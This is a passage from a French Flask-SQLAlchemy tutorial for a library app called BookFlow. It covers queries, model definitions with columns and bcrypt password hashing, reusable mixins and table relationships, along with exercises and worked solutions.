  print(stats.total, stats.pages_moyen)

  # Grouper par genre
  par_genre = db.session.query(
      Livre.genre,
      func.count(Livre.id).label('total')
  ).group_by(Livre.genre).all()

  # ─── LIMITER ───
  premiers_5 = Livre.query.limit(5).all()
  depuis_10 = Livre.query.offset(10).all()
  slice = Livre.query.limit(5).offset(10).all()

  # ─── FIRST / ONE ───
  premier = Livre.query.first()           # Premier, None si aucun
  unique = Livre.query.filter_by(isbn='1234567890123').one()
  # one() -> lève une erreur si 0 ou 2+ résultats

  # ─── EXISTS ───
  from sqlalchemy import exists
  isbn_existe = db.session.query(
      exists().where(Livre.isbn == '1234567890123')
  ).scalar()   # -> True ou False


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 18.1 : Configure Flask-SQLAlchemy dans l'Application Factory.
    Crée la config DevelopmentConfig avec SQLite. Vérifie la connexion.

  Exercice 18.2 : Initialise Flask-Migrate et crée les commandes :
    flask db init, migrate, upgrade. Explique ce que fait chaque commande.

  Exercice 18.3 : Écris les requêtes SQLAlchemy pour :
    a) Tous les livres disponibles, triés par auteur
    b) Les 5 livres avec le plus de pages
    c) Compter les livres par genre
    d) Chercher les livres dont le titre contient "le" (insensible casse)

NIVEAU INTERMÉDIAIRE :
  Exercice 18.4 : Implémente une fonction de recherche qui combine
    plusieurs filtres optionnels (genre, disponible, query textuelle,
    pages_min, pages_max) et retourne des résultats paginés.

  Exercice 18.5 : Gère correctement les erreurs de BDD dans une route Flask :
    Rollback en cas d'exception, logs appropriés, réponse JSON d'erreur.

NIVEAU AVANCÉ :
  Exercice 18.6 : Implémente un décorateur @transactional qui wrape
    une fonction dans une transaction SQLAlchemy avec rollback automatique.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 18.3 :

  # a) Livres disponibles triés par auteur
  livres = Livre.query.filter_by(disponible=True).order_by(Livre.auteur).all()

  # b) 5 livres avec le plus de pages
  top5 = Livre.query.order_by(Livre.pages.desc()).limit(5).all()

  # c) Compter par genre
  from sqlalchemy import func
  par_genre = db.session.query(
      Livre.genre, func.count(Livre.id).label('total')
  ).group_by(Livre.genre).order_by(func.count(Livre.id).desc()).all()
  # -> [('science-fiction', 5), ('fantasy', 3), ...]

  # d) Recherche insensible casse
  resultats = Livre.query.filter(Livre.titre.ilike('%le%')).all()

CORRIGÉ 18.4 — Recherche multi-filtres paginée :

  def rechercher_livres(
      genre=None, disponible=None, query=None,
      pages_min=None, pages_max=None,
      sort='titre', order='asc', page=1, per_page=10
  ):
      """Recherche de livres avec filtres multiples et pagination."""
      q = Livre.query

      if genre:
          q = q.filter(Livre.genre == genre)

      if disponible is not None:
          q = q.filter(Livre.disponible == disponible)

      if query:
          terme = f'%{query}%'
          q = q.filter(
              or_(
                  Livre.titre.ilike(terme),
                  Livre.auteur.ilike(terme),
                  Livre.description.ilike(terme)
              )
          )

      if pages_min is not None:
          q = q.filter(Livre.pages >= pages_min)

      if pages_max is not None:
          q = q.filter(Livre.pages <= pages_max)

      # Tri dynamique
      champ_tri = getattr(Livre, sort, Livre.titre)
      q = q.order_by(champ_tri.desc() if order == 'desc' else champ_tri.asc())

      # Pagination
      return q.paginate(page=page, per_page=per_page, error_out=False)

CORRIGÉ 18.6 — Décorateur transactionnel :

  from functools import wraps
  from flask import jsonify
  from app import db

  def transactional(f):
      """
      Décorateur qui wrape une fonction dans une transaction SQLAlchemy.
      Rollback automatique en cas d'exception.
      """
      @wraps(f)
      def wrapper(*args, **kwargs):
          try:
              resultat = f(*args, **kwargs)
              db.session.commit()
              return resultat
          except Exception as e:
              db.session.rollback()
              raise  # Re-lever l'exception pour que Flask la gère

      return wrapper

  # Utilisation :
  @app.route('/livres', methods=['POST'])
  @transactional
  def creer_livre():
      data = request.get_json()
      livre = Livre(titre=data['titre'], auteur=data['auteur'])
      db.session.add(livre)
      # db.session.commit() n'est pas nécessaire -> fait par le décorateur
      return jsonify(livre.to_dict()), 201


╔══════════════════════════════════════════════════════════════════════════════════════╗
║                  CHAPITRE 19 — MODÈLES : DÉFINIR LA STRUCTURE DES DONNÉES         ║
║         Les classes Python qui représentent tes tables SQL                        ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  ANATOMIE D'UN MODÈLE SQLALCHEMY
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/models/livre.py
  from datetime import datetime, timezone
  from app import db

  class Livre(db.Model):
      """
      Modèle SQLAlchemy représentant un livre dans BookFlow.

      Hérite de db.Model -> SQLAlchemy sait que c'est une table BDD.
      """

      # ─── NOM DE LA TABLE (optionnel, défaut = nom_classe en snake_case) ───
      __tablename__ = 'livres'
      # Sans __tablename__, Flask utiliserait 'livre' (singulier automatique)

      # ─── COLONNES ───
      # Syntaxe : colonne = db.Column(TYPE, contraintes...)

      # Clé primaire — Integer auto-incrémenté
      id = db.Column(
          db.Integer,
          primary_key=True,       # Clé primaire
          autoincrement=True      # Valeur auto (implicite pour Integer PK)
      )

      # Texte obligatoire avec longueur max
      titre = db.Column(
          db.String(200),         # VARCHAR(200)
          nullable=False,         # NOT NULL
          index=True              # Crée un index (accès plus rapide)
      )

      auteur = db.Column(
          db.String(100),
          nullable=False
      )

      # Texte optionnel de longueur variable
      isbn = db.Column(
          db.String(13),
          nullable=True,          # NULL autorisé (défaut)
          unique=True             # UNIQUE CONSTRAINT
      )

      # Entier avec valeur par défaut
      pages = db.Column(
          db.Integer,
          nullable=False,
          default=0               # Valeur par défaut Python (pas SQL)
          # server_default='0'   -> Valeur par défaut SQL (pour les migrations)
      )

      # Décimal (prix)
      prix = db.Column(
          db.Numeric(10, 2),      # 10 chiffres total, 2 après la virgule
          nullable=True,
          default=0.00
      )

      # Texte long (pas de limite de longueur)
      description = db.Column(db.Text, nullable=True)

      # Enum (choix restreints)
      genre = db.Column(
          db.String(50),
          nullable=False,
          default='autre'
      )

      # Booléen
      disponible = db.Column(
          db.Boolean,
          nullable=False,
          default=True,
          server_default='1'      # Valeur SQL par défaut
      )

      # Date/heure avec valeur automatique
      created_at = db.Column(
          db.DateTime(timezone=True),
          nullable=False,
          default=lambda: datetime.now(timezone.utc)
          # Lambda car default est évalué à la création de l'objet
      )

      updated_at = db.Column(
          db.DateTime(timezone=True),
          nullable=True,
          onupdate=lambda: datetime.now(timezone.utc)
          # onupdate -> mis à jour automatiquement à chaque modification
      )

      # ─── CONTRAINTES DE TABLE ───
      __table_args__ = (
          # Contrainte d'unicité composée (combinaison de colonnes unique)
          db.UniqueConstraint('titre', 'auteur', name='uq_livre_titre_auteur'),
          # Index composé (optimisation des requêtes filtrées)
          db.Index('ix_livre_genre_disponible', 'genre', 'disponible'),
      )

      # ─── MÉTHODES ───

      def __repr__(self):
          """Représentation pour le debugging."""
          return f'<Livre #{self.id}: {self.titre} par {self.auteur}>'

      def __str__(self):
          """Représentation lisible."""
          return f'{self.titre} par {self.auteur}'

      def to_dict(self, include_relations=False):
          """
          Convertit le modèle en dictionnaire pour les réponses JSON.
          Ne pas retourner TOUS les champs (choisir ce qu'on expose).
          """
          data = {
              'id': self.id,
              'titre': self.titre,
              'auteur': self.auteur,
              'isbn': self.isbn,
              'pages': self.pages,
              'prix': float(self.prix) if self.prix else 0.0,
              'genre': self.genre,
              'description': self.description,
              'disponible': self.disponible,
              'created_at': self.created_at.isoformat() if self.created_at else None,
              'updated_at': self.updated_at.isoformat() if self.updated_at else None
          }

          # Relations optionnelles (évite les requêtes inutiles)
          if include_relations:
              data['emprunts_en_cours'] = [e.to_dict() for e in self.emprunts
                                            if e.statut == 'en_cours']

          return data

      @classmethod
      def trouver_par_isbn(cls, isbn):
          """Méthode de classe pour chercher par ISBN."""
          return cls.query.filter_by(isbn=isbn).first()

      @classmethod
      def livres_disponibles(cls, page=1, per_page=10):
          """Retourne les livres disponibles paginés."""
          return cls.query.filter_by(disponible=True).order_by(
              cls.titre
          ).paginate(page=page, per_page=per_page, error_out=False)

      def emprunter(self, user_id):
          """
          Méthode métier : emprunter ce livre.
          Retourne l'objet Emprunt créé ou None si indisponible.
          """
          if not self.disponible:
              return None

          from .emprunt import Emprunt
          from datetime import timedelta

          emprunt = Emprunt(
              livre_id=self.id,
              user_id=user_id,
              date_debut=datetime.now(timezone.utc),
              date_retour_prevue=datetime.now(timezone.utc) + timedelta(days=14),
              statut='en_cours'
          )
          self.disponible = False
          db.session.add(emprunt)
          return emprunt

      def retourner(self):
          """Méthode métier : retourner ce livre."""
          emprunt_actif = Emprunt.query.filter_by(
              livre_id=self.id, statut='en_cours'
          ).first()

          if emprunt_actif:
              emprunt_actif.statut = 'retourne'
              emprunt_actif.date_retour_reelle = datetime.now(timezone.utc)

          self.disponible = True
          return emprunt_actif


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  TOUS LES TYPES DE COLONNES SQLALCHEMY
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  ┌─────────────────────┬────────────────────────────────────────────────┐
  │ TYPE SQLALCHEMY     │ DESCRIPTION ET ÉQUIVALENT SQL                  │
  ├─────────────────────┼────────────────────────────────────────────────┤
  │ Integer             │ INTEGER — entier standard                       │
  │ BigInteger          │ BIGINT — grand entier (IDs massifs)             │
  │ SmallInteger        │ SMALLINT — petit entier (économie espace)       │
  │ String(n)           │ VARCHAR(n) — texte de longueur max n           │
  │ Text                │ TEXT — texte long sans limite                   │
  │ UnicodeText         │ Texte unicode long                             │
  │ Boolean             │ BOOLEAN                                        │
  │ Float               │ FLOAT — décimal approximatif                   │
  │ Numeric(p, s)       │ DECIMAL(p,s) — décimal précis (montants)       │
  │ Date                │ DATE — date sans heure                         │
  │ DateTime            │ DATETIME — date + heure                        │
  │ Time                │ TIME — heure seule                             │
  │ Interval            │ Durée (différence entre deux dates)            │
  │ Enum('a','b','c')   │ ENUM — valeurs restreintes                     │
  │ JSON                │ JSON (PostgreSQL natif, SQLite via TEXT)        │
  │ LargeBinary         │ BLOB — données binaires                        │
  │ PickleType          │ Objet Python sérialisé                         │
  │ UUID                │ Identifiant universel unique                   │
  └─────────────────────┴────────────────────────────────────────────────┘

EXEMPLES DE TYPES SPÉCIAUX :

  import uuid as uuid_lib
  from sqlalchemy.dialects.postgresql import UUID as PG_UUID

  class Utilisateur(db.Model):
      # UUID comme clé primaire (sécurité vs ID séquentiel)
      id = db.Column(
          db.String(36),
          primary_key=True,
          default=lambda: str(uuid_lib.uuid4())
      )

      # Enum Python
      from enum import Enum as PyEnum
      class RoleEnum(PyEnum):
          USER = 'user'
          ADMIN = 'admin'
          MODERATEUR = 'moderateur'

      role = db.Column(
          db.Enum(RoleEnum),
          default=RoleEnum.USER,
          nullable=False
      )

      # JSON (profil flexible)
      preferences = db.Column(db.JSON, nullable=True, default=dict)
      # Stocke : {"genres_favoris": ["sf", "fantasy"], "notifications": true}

      # Tableau (PostgreSQL ARRAY, ou JSON en SQLite)
      # badges = db.Column(ARRAY(db.String))  # PostgreSQL seulement


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  LE MODÈLE UTILISATEUR COMPLET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/models/utilisateur.py
  from datetime import datetime, timezone
  from app import db
  import bcrypt

  class Utilisateur(db.Model):
      __tablename__ = 'utilisateurs'

      id = db.Column(db.Integer, primary_key=True)

      # Identité
      nom = db.Column(db.String(100), nullable=False)
      email = db.Column(db.String(254), nullable=False, unique=True, index=True)

      # Sécurité — JAMAIS stocker le mot de passe en clair !
      mot_de_passe_hash = db.Column(db.String(255), nullable=False)

      # Rôle et état
      role = db.Column(db.String(20), nullable=False, default='user')
      # Valeurs : 'user', 'admin', 'moderateur'
      est_actif = db.Column(db.Boolean, default=True, nullable=False)
      est_verifie = db.Column(db.Boolean, default=False, nullable=False)

      # Profil
      bio = db.Column(db.Text, nullable=True)
      avatar_url = db.Column(db.String(500), nullable=True)

      # Token de vérification email / réinitialisation mot de passe
      token_verification = db.Column(db.String(100), nullable=True)
      token_reset_mdp = db.Column(db.String(100), nullable=True)
      token_expiration = db.Column(db.DateTime, nullable=True)

      # Timestamps
      created_at = db.Column(
          db.DateTime(timezone=True),
          default=lambda: datetime.now(timezone.utc),
          nullable=False
      )
      last_login = db.Column(db.DateTime(timezone=True), nullable=True)

      # ─── MÉTHODES MOT DE PASSE ───

      def set_password(self, mot_de_passe: str):
          """Hash et stocke le mot de passe de façon sécurisée."""
          # bcrypt génère automatiquement un sel unique
          # work_factor=12 -> durée de calcul raisonnable (résistance brute-force)
          salt = bcrypt.gensalt(rounds=12)
          self.mot_de_passe_hash = bcrypt.hashpw(
              mot_de_passe.encode('utf-8'), salt
          ).decode('utf-8')

      def check_password(self, mot_de_passe: str) -> bool:
          """Vérifie si le mot de passe correspond au hash stocké."""
          if not self.mot_de_passe_hash:
              return False
          return bcrypt.checkpw(
              mot_de_passe.encode('utf-8'),
              self.mot_de_passe_hash.encode('utf-8')
          )

      # ─── MÉTHODES DE RÔLE ───

      @property
      def est_admin(self) -> bool:
          return self.role == 'admin'

      @property
      def est_moderateur(self) -> bool:
          return self.role in ('admin', 'moderateur')

      # ─── MÉTHODES DE CLASSE ───

      @classmethod
      def creer(cls, nom: str, email: str, mot_de_passe: str, role='user'):
          """Crée un nouvel utilisateur avec mot de passe hashé."""
          user = cls(nom=nom, email=email.lower(), role=role)
          user.set_password(mot_de_passe)
          return user

      @classmethod
      def trouver_par_email(cls, email: str):
          return cls.query.filter_by(email=email.lower()).first()

      @classmethod
      def authentifier(cls, email: str, mot_de_passe: str):
          """Authentifie un utilisateur. Retourne l'utilisateur ou None."""
          user = cls.trouver_par_email(email)
          if user and user.est_actif and user.check_password(mot_de_passe):
              user.last_login = datetime.now(timezone.utc)
              return user
          return None

      # ─── SÉRIALISATION ───

      def to_dict(self, include_private=False):
          """Conversion en dict pour JSON. Par défaut, sans données sensibles."""
          data = {
              'id': self.id,
              'nom': self.nom,
              'email': self.email,
              'role': self.role,
              'est_actif': self.est_actif,
              'avatar_url': self.avatar_url,
              'created_at': self.created_at.isoformat() if self.created_at else None
          }
          # Données privées (pour le profil de l'utilisateur lui-même)
          if include_private:
              data.update({
                  'bio': self.bio,
                  'est_verifie': self.est_verifie,
                  'last_login': self.last_login.isoformat() if self.last_login else None
              })
          # JAMAIS inclure mot_de_passe_hash !
          return data

      def __repr__(self):
          return f'<Utilisateur #{self.id}: {self.email} ({self.role})>'


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  MIXIN ET MODÈLE DE BASE RÉUTILISABLE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Un Mixin est une classe qu'on peut "mélanger" avec d'autres pour ajouter
des fonctionnalités communes sans répétition.

  # app/models/mixins.py
  from datetime import datetime, timezone
  from app import db

  class TimestampMixin:
      """
      Mixin qui ajoute created_at et updated_at à n'importe quel modèle.
      Évite de répéter ces colonnes dans chaque modèle.
      """
      created_at = db.Column(
          db.DateTime(timezone=True),
          default=lambda: datetime.now(timezone.utc),
          nullable=False
      )
      updated_at = db.Column(
          db.DateTime(timezone=True),
          default=lambda: datetime.now(timezone.utc),
          onupdate=lambda: datetime.now(timezone.utc),
          nullable=True
      )

  class SoftDeleteMixin:
      """
      Soft delete : marque comme supprimé sans vraiment supprimer.
      Les données restent en BDD (récupérables, conformité RGPD).
      """
      supprime_le = db.Column(db.DateTime(timezone=True), nullable=True)

      @property
      def est_supprime(self) -> bool:
          return self.supprime_le is not None

      def supprimer(self):
          """Marque l'enregistrement comme supprimé."""
          self.supprime_le = datetime.now(timezone.utc)

      def restaurer(self):
          """Restaure un enregistrement supprimé."""
          self.supprime_le = None

      @classmethod
      def actifs(cls):
          """Retourne seulement les enregistrements non supprimés."""
          return cls.query.filter(cls.supprime_le.is_(None))

  class CRUDMixin:
      """Mixin qui ajoute des méthodes CRUD génériques."""

      def sauvegarder(self):
          """Ajoute et commit l'objet en BDD."""
          db.session.add(self)
          db.session.commit()
          return self

      def modifier(self, **kwargs):
          """Modifie plusieurs attributs et sauvegarde."""
          for cle, valeur in kwargs.items():
              if hasattr(self, cle):
                  setattr(self, cle, valeur)
          db.session.commit()
          return self

      def supprimer_definitif(self):
          """Supprime définitivement de la BDD."""
          db.session.delete(self)
          db.session.commit()

      def to_dict(self):
          """Conversion basique en dict (à surcharger dans les sous-classes)."""
          return {c.name: getattr(self, c.name) for c in self.__table__.columns}

  # MODÈLE DE BASE (hérite de tous les mixins) :
  class BaseModel(db.Model, TimestampMixin, CRUDMixin):
      """Classe de base abstraite pour tous les modèles BookFlow."""
      __abstract__ = True  # Pas de table créée pour cette classe

  # Utilisation :
  class Livre(BaseModel):
      __tablename__ = 'livres'
      id = db.Column(db.Integer, primary_key=True)
      titre = db.Column(db.String(200), nullable=False)
      # created_at et updated_at sont automatiquement hérités !
      # sauvegarder(), modifier(), supprimer_definitif() aussi !

  class Utilisateur(BaseModel):
      __tablename__ = 'utilisateurs'
      id = db.Column(db.Integer, primary_key=True)
      email = db.Column(db.String(254), unique=True)
      # Tout hérité automatiquement !


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 19.1 : Crée le modèle Categorie avec id, nom, description.
    Ajoute une méthode to_dict() et __repr__().

  Exercice 19.2 : Ajoute une colonne 'note_moyenne' (Float) et
    'nb_avis' (Integer, default=0) au modèle Livre.
    Crée la migration : flask db migrate + flask db upgrade.

  Exercice 19.3 : Crée un modèle Avis avec : id, note (1-5),
    commentaire, created_at. Ajoute une validation que note est entre 1 et 5.

NIVEAU INTERMÉDIAIRE :
  Exercice 19.4 : Implémente le TimestampMixin et fais hériter Livre et
    Utilisateur de BaseModel. Vérifie que created_at est bien peuplé.

  Exercice 19.5 : Ajoute la méthode emprunter() au modèle Livre.
    Vérifie la disponibilité, crée l'Emprunt, met à jour disponible.

NIVEAU AVANCÉ :
  Exercice 19.6 : Implémente le SoftDeleteMixin sur le modèle Livre.
    Les livres "supprimés" restent en BDD mais n'apparaissent plus
    dans les requêtes normales. Ajoute une route admin pour les restaurer.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 19.1 :

  class Categorie(db.Model):
      __tablename__ = 'categories'

      id = db.Column(db.Integer, primary_key=True)
      nom = db.Column(db.String(50), nullable=False, unique=True)
      description = db.Column(db.Text, nullable=True)
      couleur = db.Column(db.String(7), default='#6366f1')  # Code couleur hex
      created_at = db.Column(db.DateTime, default=datetime.utcnow)

      def to_dict(self):
          return {
              'id': self.id,
              'nom': self.nom,
              'description': self.description,
              'couleur': self.couleur
          }

      def __repr__(self):
          return f'<Categorie #{self.id}: {self.nom}>'

CORRIGÉ 19.3 :

  from sqlalchemy import CheckConstraint

  class Avis(db.Model):
      __tablename__ = 'avis'

      id = db.Column(db.Integer, primary_key=True)

      note = db.Column(
          db.Integer,
          nullable=False
      )
      commentaire = db.Column(db.Text, nullable=True)
      created_at = db.Column(
          db.DateTime(timezone=True),
          default=lambda: datetime.now(timezone.utc)
      )

      # Contrainte : note entre 1 et 5
      __table_args__ = (
          CheckConstraint('note >= 1 AND note <= 5', name='check_note_valide'),
      )

      def __repr__(self):
          return f'<Avis {self.note}/5>'

      def to_dict(self):
          return {
              'id': self.id,
              'note': self.note,
              'commentaire': self.commentaire,
              'created_at': self.created_at.isoformat() if self.created_at else None
          }

      @staticmethod
      def valider_note(note):
          """Valide la note avant insertion."""
          if not isinstance(note, int) or not (1 <= note <= 5):
              raise ValueError(f"La note doit être un entier entre 1 et 5 (reçu: {note})")
          return note


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 20 — RELATIONS ENTRE TABLES                                 ║
║      One-to-Many, Many-to-Many, One-to-One et les jointures SQLAlchemy            ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  LES TYPES DE RELATIONS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

RELATIONS DANS BOOKFLOW :

  ONE-TO-MANY (1 à N) :
  ─────────────────────
  Un Utilisateur peut avoir PLUSIEURS Emprunts
  Un Livre peut avoir PLUSIEURS Avis
  Un Emprunt appartient à UN seul Utilisateur et UN seul Livre

  MANY-TO-MANY (N à N) :
  ────────────────────────
  Un Livre peut avoir PLUSIEURS Catégories
  Une Catégorie peut contenir PLUSIEURS Livres

  ONE-TO-ONE (1 à 1) :
  ─────────────────────
  Un Utilisateur a UN seul Profil détaillé
  (Quand une table a trop de colonnes, on divise)

  ┌─────────────────────────────────────────────────────────────────────┐
  │              SCHÉMA DES RELATIONS BOOKFLOW                         │
  └─────────────────────────────────────────────────────────────────────┘

  UTILISATEURS ──< EMPRUNTS >── LIVRES
      (1)              (N)        (1)
       |                           |
       └── AVIS ──────────────────>┘
       (1)   (N)

  LIVRES >──< LIVRES_CATEGORIES >──< CATEGORIES
    (N)          (table pivot)           (N)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  ONE-TO-MANY EN SQLALCHEMY
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

RELATION UTILISATEUR -> EMPRUNTS (1 utilisateur a N emprunts)

  # app/models/utilisateur.py
  class Utilisateur(db.Model):
      __tablename__ = 'utilisateurs'

      id = db.Column(db.Integer, primary_key=True)
      nom = db.Column(db.String(100), nullable=False)
      email = db.Column(db.String(254), unique=True, nullable=False)
      mot_de_passe_hash = db.Column(db.String(255), nullable=False)

      # ─── RELATION (côté "Un") ───
      emprunts = db.relationship(
          'Emprunt',             # Nom de la classe liée (string pour éviter les imports circulaires)
          backref='utilisateur', # Crée Emprunt.utilisateur automatiquement (objet User)
          lazy='dynamic',        # Ne charge pas les emprunts jusqu'à ce qu'on y accède
          cascade='all, delete-orphan'  # Supprimer les emprunts si l'utilisateur est supprimé
      )
      # Avec backref='utilisateur' :
      # emprunt.utilisateur -> retourne l'objet Utilisateur lié
      # user.emprunts -> retourne tous les emprunts de l'utilisateur

      avis = db.relationship(
          'Avis',
          backref='auteur',
          lazy='select',         # Charge tous les avis en une requête (défaut)
          cascade='all, delete-orphan'
      )

  # app/models/emprunt.py
  class Emprunt(db.Model):
      __tablename__ = 'emprunts'

      id = db.Column(db.Integer, primary_key=True)

      # ─── CLÉS ÉTRANGÈRES (côté "Many") ───
      user_id = db.Column(
          db.Integer,
          db.ForeignKey('utilisateurs.id', ondelete='CASCADE'),
          nullable=False,
          index=True
      )
      # ForeignKey('table.colonne') -> référence la clé primaire de utilisateurs
      # ondelete='CASCADE' -> SQL CASCADE (cohérence avec cascade Python)
      # index=True -> optimise les requêtes filtrées par user_id

      livre_id = db.Column(
          db.Integer,
          db.ForeignKey('livres.id', ondelete='RESTRICT'),
          # ondelete='RESTRICT' -> interdit de supprimer un livre emprunté
          nullable=False,
          index=True
      )

      # Données de l'emprunt
      date_debut = db.Column(db.DateTime(timezone=True), nullable=False)
      date_retour_prevue = db.Column(db.DateTime(timezone=True), nullable=False)
      date_retour_reelle = db.Column(db.DateTime(timezone=True), nullable=True)
      statut = db.Column(db.String(20), default='en_cours', nullable=False)
      # Valeurs : 'en_cours', 'retourne', 'en_retard', 'perdu'

      notes = db.Column(db.Text, nullable=True)

      created_at = db.Column(
          db.DateTime(timezone=True),
          default=lambda: datetime.now(timezone.utc)
      )

      # ─── RELATION CÔTÉ EMPRUNT ───
      # (backref créé automatiquement par les relationships ci-dessus)
      # emprunt.utilisateur -> objet Utilisateur (via backref dans Utilisateur)
      # emprunt.livre -> objet Livre (à définir dans Livre)

      @property
      def est_en_retard(self):
          from datetime import timezone
          return (self.statut == 'en_cours' and
                  datetime.now(timezone.utc) > self.date_retour_prevue)

      @property
      def jours_restants(self):
          if self.statut != 'en_cours':
              return None
          from datetime import timezone
          delta = self.date_retour_prevue - datetime.now(timezone.utc)
          return max(0, delta.days)

      def to_dict(self):
          return {
              'id': self.id,
              'user_id': self.user_id,
              'livre_id': self.livre_id,
              'date_debut': self.date_debut.isoformat() if self.date_debut else None,
              'date_retour_prevue': self.date_retour_prevue.isoformat() if self.date_retour_prevue else None,
              'date_retour_reelle': self.date_retour_reelle.isoformat() if self.date_retour_reelle else None,
              'statut': self.statut,
              'est_en_retard': self.est_en_retard,
              'jours_restants': self.jours_restants
          }

  # app/models/livre.py — Ajouter la relation côté Livre
  class Livre(db.Model):
      __tablename__ = 'livres'
      # ... colonnes ...

      # Relations côté livre
      emprunts = db.relationship(
          'Emprunt',
          backref='livre',       # Crée emprunt.livre automatiquement
          lazy='dynamic',
          foreign_keys='Emprunt.livre_id'
      )

      avis = db.relationship(
          'Avis',
          backref='livre',
          lazy='dynamic',
          foreign_keys='Avis.livre_id',
          cascade='all, delete-orphan'
      )

UTILISER LES RELATIONS :

  # Récupérer les emprunts d'un utilisateur
  user = Utilisateur.query.get(1)
  tous_emprunts = user.emprunts.all()          # lazy='dynamic' -> .all() requis
  en_cours = user.emprunts.filter_by(statut='en_cours').all()
  nb_emprunts = user.emprunts.count()

  # Accéder à l'utilisateur depuis un emprunt
  emprunt = Emprunt.query.get(5)
  print(emprunt.utilisateur.nom)    # Via backref
  print(emprunt.livre.titre)        # Via backref

  # Créer avec relation
  user = Utilisateur.query.get(1)
  livre = Livre.query.get(3)
  emprunt = Emprunt(
      user_id=user.id,
      livre_id=livre.id,
      date_debut=datetime.now(timezone.utc),
      date_retour_prevue=datetime.now(timezone.utc) + timedelta(days=14)
  )
  db.session.add(emprunt)
  db.session.commit()

  # Requête avec jointure (JOIN)
  # Trouver tous les emprunts en cours avec les infos utilisateur et livre
  emprunts_actifs = db.session.query(Emprunt).join(
      Utilisateur, Emprunt.user_id == Utilisateur.id
  ).join(
      Livre, Emprunt.livre_id == Livre.id
  ).filter(
      Emprunt.statut == 'en_cours'
  ).all()

  for e in emprunts_actifs:
      print(f"{e.utilisateur.nom} a emprunté {e.livre.titre}")

LES OPTIONS DE LAZY LOADING :

  ┌──────────────────┬──────────────────────────────────────────────────────┐
  │ OPTION           │ COMPORTEMENT                                         │
  ├──────────────────┼──────────────────────────────────────────────────────┤
  │ lazy='select'    │ Charge en une requête SELECT quand on accède         │
  │ (défaut)         │ Bon pour les petites collections                     │
  ├──────────────────┼──────────────────────────────────────────────────────┤
  │ lazy='dynamic'   │ Retourne une Query object (non chargé)               │
  │                  │ Permet .filter(), .count() etc.                      │
  │                  │ Bon pour les grandes collections                     │
  ├──────────────────┼──────────────────────────────────────────────────────┤
  │ lazy='joined'    │ Charge avec une jointure SQL (JOIN)                  │
  │                  │ Évite N+1 queries pour les petits objets             │
  ├──────────────────┼──────────────────────────────────────────────────────┤
  │ lazy='subquery'  │ Charge avec une sous-requête SQL                     │
  │                  │ Bon pour les collections moyennes                    │
  ├──────────────────┼──────────────────────────────────────────────────────┤
  │ lazy='noload'    │ Ne charge jamais (accès -> erreur)                    │
  └──────────────────┴──────────────────────────────────────────────────────┘


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  MANY-TO-MANY EN SQLALCHEMY
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Pour Many-to-Many, on a besoin d'une TABLE PIVOT (association table).

CAS 1 — TABLE PIVOT SIMPLE (sans données supplémentaires) :

  # Table pivot (pas un modèle à part entière, juste une table)
  livres_categories = db.Table(
      'livres_categories',             # Nom de la table
      db.Column(
          'livre_id',
          db.Integer,
          db.ForeignKey('livres.id', ondelete='CASCADE'),
          primary_key=True
      ),
      db.Column(
          'categorie_id',
          db.Integer,
          db.ForeignKey('categories.id', ondelete='CASCADE'),
          primary_key=True
      )
  )

  class Livre(db.Model):
      __tablename__ = 'livres'
      id = db.Column(db.Integer, primary_key=True)
      titre = db.Column(db.String(200), nullable=False)

      # ─── RELATION MANY-TO-MANY ───
      categories = db.relationship(
          'Categorie',
          secondary=livres_categories,   # La table pivot
          backref=db.backref('livres', lazy='dynamic'),  # Categorie.livres
          lazy='select'
      )

  class Categorie(db.Model):
      __tablename__ = 'categories'
      id = db.Column(db.Integer, primary_key=True)
      nom = db.Column(db.String(50), unique=True, nullable=False)
      description = db.Column(db.Text)

UTILISER LA RELATION MANY-TO-MANY :

  # Ajouter une catégorie à un livre
  livre = Livre.query.get(1)
  cat_sf = Categorie.query.filter_by(nom='Science-Fiction').first()
  livre.categories.append(cat_sf)
  db.session.commit()

  # Ajouter plusieurs catégories
  categories = Categorie.query.filter(
      Categorie.nom.in_(['Fantasy', 'Aventure'])
  ).all()
  livre.categories.extend(categories)
  db.session.commit()

  # Retirer une catégorie
  livre.categories.remove(cat_sf)
  db.session.commit()

  # Vérifier si une catégorie est liée
  if cat_sf in livre.categories:
      print("Ce livre est dans Science-Fiction")

  # Tous les livres d'une catégorie
  cat = Categorie.query.get(2)
  livres_fantasy = cat.livres.all()     # Via backref

  # Livres avec leurs catégories (éviter N+1 queries)
